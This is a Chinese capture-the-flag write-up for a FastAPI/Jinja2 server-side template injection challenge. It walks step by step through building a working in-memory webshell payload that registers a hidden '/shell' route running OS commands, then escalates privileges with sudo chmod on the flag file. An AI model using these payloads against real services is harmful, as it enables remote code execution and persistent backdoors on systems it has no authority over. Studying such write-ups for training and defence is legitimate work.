FastAPI与Jinja2结合的内存马
记一次手写内存马的操作
FastAPI与Jinja2结合的内存马
题目来源:[玄武杯 2025] ez_fastapi
观察题目源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, JSONResponse
from jinja2 import Environment
import uvicorn, sys
app = FastAPI()
Jinja2 = Environment()
Jinja2 = Environment(
variable_start_string='{',
variable_end_string='}'
)
@app.exception_handler(404)
async def handler_404(request, exc):
print('not found!')
return JSONResponse(
status_code=404,
content={"message": "Not found"}
)
@app.middleware('http')
async def say_hello(request: Request, call_next):
response = await call_next(request)
response.headers['say1'] = 'hello!'
return response
@app.middleware('http')
async def say_hi(request: Request, call_next):
response = await call_next(request)
response.headers['say2'] = 'hi!'
return response
@app.get("/")
async def index():
return {"message": "Hello World"}
@app.get("/shellMe")
async def shellMe(username="Guest"):
Jinja2.from_string("Welcome " + username).render()
# print(Jinja2.from_string("Welcome " + username).render()) 这段是我自己加的,为了方便调试
return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>")
def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")
app.add_api_route = method_disabled
app.add_middleware = method_disabled
if __name__ == "__main__":
uvicorn.run(app, host='0.0.0.0', port=8000)
显然是一个Jinja2的SSTI题目,但是题目无回显,尝试反弹Shell也没成功(也许是姿势不对?),遂尝试打入内存马。
通常来说,内存马一般都需要注册一个路由然后获取参数以执行。以一个十分简单的内存马为原型:
1
lipsum.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].router.add_api_route('/shell',lambda cmd='whoami':__import__('os').popen(cmd).read(),methods=['GET'])")
这个内存马原理很简单,通过lipsum这个Jinja2全局函数获取它的__globals__属性以得到eval,然后获取app来进行其他操作。
需要注意的是,这里的app原理上来自于
1
app = FastAPI()
为什么说是原理上呢,因为本题目依赖uvicorn。本题目的启动脚本是:
1
uvicorn app:app --host 0.0.0.0 --port 8000
在这种运行方式下:
- 第一个
app是模块名(app.py) - 第二个
app是模块中的变量(FastAPI 实例) - uvicorn 不会把 app 放在
__main__ __main__是 uvicorn 的启动脚本,不是我们的模块
所以显而易见地,上面那个理论内存马行不通。我们应该先获取所有的module,本地运行这个脚本,修改一下源代码使其能在控制台看到回显:
1
lipsum.__globals__['__builtins__']['eval']('sys.modules')
在后台返回:
1
2
3
4
5
6
Welcome {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>,
...
, 'os': <module 'os' (frozen)>,
...
'app': <module 'app' from '/mnt/e/ctfTools/CtfLab/PyTrojan/app.py'>,
...
显然这里的app就是我们想要的。
我们接着构造:
1
lipsum.__globals__['__builtins__']['eval']('sys.modules['app'].__dict__')
可以看到回显:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Welcome {'__name__': 'app', '__doc__': None, '__package__': '',
...
'FastAPI': <class 'fastapi.applications.FastAPI'>,
'Request': <class 'starlette.requests.Request'>,
'HTMLResponse': <class 'starlette.responses.HTMLResponse'>,
'JSONResponse': <class 'starlette.responses.JSONResponse'>,
'Environment': <class 'jinja2.environment.Environment'>,
'uvicorn': <module 'uvicorn' from '/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/uvicorn/__init__.py'>,
'sys': <module 'sys' (built-in)>,
'app': <fastapi.applications.FastAPI object at 0x7f167f15a510>,
'Jinja2': <jinja2.environment.Environment object at 0x7f167ef678c0>,
'handler_404': <function handler_404 at 0x7f167ef82de0>,
'say_hello': <function say_hello at 0x7f167ef82e80>,
'say_hi': <function say_hi at 0x7f167ef82f20>,
'index': <function index at 0x7f167ef82fc0>,
'shellMe': <function shellMe at 0x7f167ef83240>,
'method_disabled': <function method_disabled at 0x7f167ef82d40>}
这里我们看到,整个app.py的对象都被暴露,我们要做得是获取'app': <fastapi.applications.FastAPI object at 0x7f167f15a510>,接下来的思路就很流畅了,理论上内存马的payload可以是:
1
lipsum.__globals__['__builtins__']['eval']("sys.modules['app'].app.router.add_api_route('/shell',lambda cmd='whoami':__import__('os').popen(cmd).read(),methods=['GET'])")
但是问题还没有解决,对于本题来说,由于题目禁止了add_api_route这个方法:
1
2
3
4
5
def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")
app.add_api_route = method_disabled
app.add_middleware = method_disabled
我们应该选择别的函数进行路由注册。
查看fastapi的源代码,在./fastapi/applications.py中看到了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class FastAPI(Starlette):
"""
`FastAPI` app class, the main entrypoint to use FastAPI.
Read more in the
[FastAPI docs for First Steps](https://fastapi.tiangolo.com/tutorial/first-steps/).
## Example
```python
from fastapi import FastAPI
app = FastAPI()
```
"""
在上下文查找,可以看到除了add_api_route以外还有 add_api_websocket_route,由于我的计算机网络知识不牢靠,我并不敢使用这个方法(懒得查),所以只能继续找。很可惜,没有别的添加路由的方法了。但是令人惊喜的是,FastAPI的父类Starlettey有一个方法add_route,在./starlette/applications.py中:
1
2
3
4
5
6
7
8
9
def add_route(
self,
path: str,
route: Callable[[Request], Awaitable[Response] | Response],
methods: list[str] | None = None,
name: str | None = None,
include_in_schema: bool = True,
) -> None: # pragma: no cover
self.router.add_route(path, route, methods=methods, name=name, include_in_schema=include_in_schema)
接下来我们需要利用这个方法来构造内存马。
所以当我们兴高采烈地构造:
1
2
3
4
5
lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
'/shell',lambda cmd='whoami':__import__('os').popen(cmd).read(),methods=['GET']
)
")
然后就会很意外地报错:
1
2
...
File "E:\ProgramFile\Python\Python312\Lib\site-packages\anyio\_backends\_asyncio.py", line 2461, in run_sync_in_worker_thread return await future ^^^^^^^^^^^^ File "E:\ProgramFile\Python\Python312\Lib\site-packages\anyio\_backends\_asyncio.py", line 962, in run result = context.run(func, *args) ^^^^^^^^^^^^^^^^^^^^^^^^ File "<string>", line 1, in <lambda> File "<frozen os>", line 1015, in popen TypeError: invalid cmd type (<class 'starlette.requests.Request'>, expected string)
这个报错其实跟 add_route 本身没关系,而是我们的 lambda 收到的是 Request 对象,却直接丢给了 os.popen。具体来说:
add_api_route: endpoint 可以是 FastAPI 风格
add_route: endpoint 必须是 Starlette 风格,第一个参数就是 Request 对象
所以现在我们的任务是解析Request对象以获取我们想要的字符串,重新构造payload:
1
2
3
4
5
lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
'/shell',lambda request: __import__('os').popen(request.query_params.get('cmd', 'whoami').read()),methods=['GET']
)
")
然后又发生报错:
1
2
3
File "starlette/routing.py", line 76, in app
await response(scope, receive, send)
TypeError: 'str' object is not callable
这里来看, add_route 注册的这个 endpoint 返回的是一个纯字符串,但 Starlette 期望它返回的是一个 “可调用的 ASGI app” 或 Response 对象,于是拿这个字符串当协程去调用,就直接炸了。所以继续修改payload:
1
2
3
4
5
6
7
8
lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
'/shell',lambda request: PlainTextResponse(
__import__('os').popen(request.query_params.get('cmd', 'whoami')
).read()
),methods=['GET']
)
")
这里用PlainTextResponse()来显式返回一个 Response 对象,执行之后又又又又又又又报错了:
1
File "E:\ProgramFile\Python\Python312\Lib\site-packages\anyio\_backends\_asyncio.py", line 962, in run result = context.run(func, *args) ^^^^^^^^^^^^^^^^^^^^^^^^ File "<string>", line 1, in <lambda> NameError: name 'PlainTextResponse' is not defined
这里很显然是因为app.py没有import这个库,我们引入一下即可。所以最终的payload为:
1
2
3
4
5
6
lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
'/shell',
lambda request: __import__('starlette.responses', fromlist=['PlainTextResponse']).PlainTextResponse(__import__('os').popen(request.query_params.get('cmd', 'whoami')).read()),methods=['GET']
)
")
本地测试一下:
没有任何问题,在题目环境测试一下:
依旧没有任何问题。
(2025/11/17 update)
在NSS评论区看到了出题人的出题记录,原来是权限不够,打入内存马以后尝试sudo -l
1
2
3
4
5
6
Matching Defaults entries for ctf_user on 8393adbbb4774dec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ctf_user may run the following commands on 8393adbbb4774dec:
(ALL) NOPASSWD: /usr/bin/chmod
那就使用chmod去给/flag提权即可。
1
2
sudo chmod 6777 /flag //赋予flag权限
tac /flag
其实我还是想试一试websocket,留到下次研究吧()

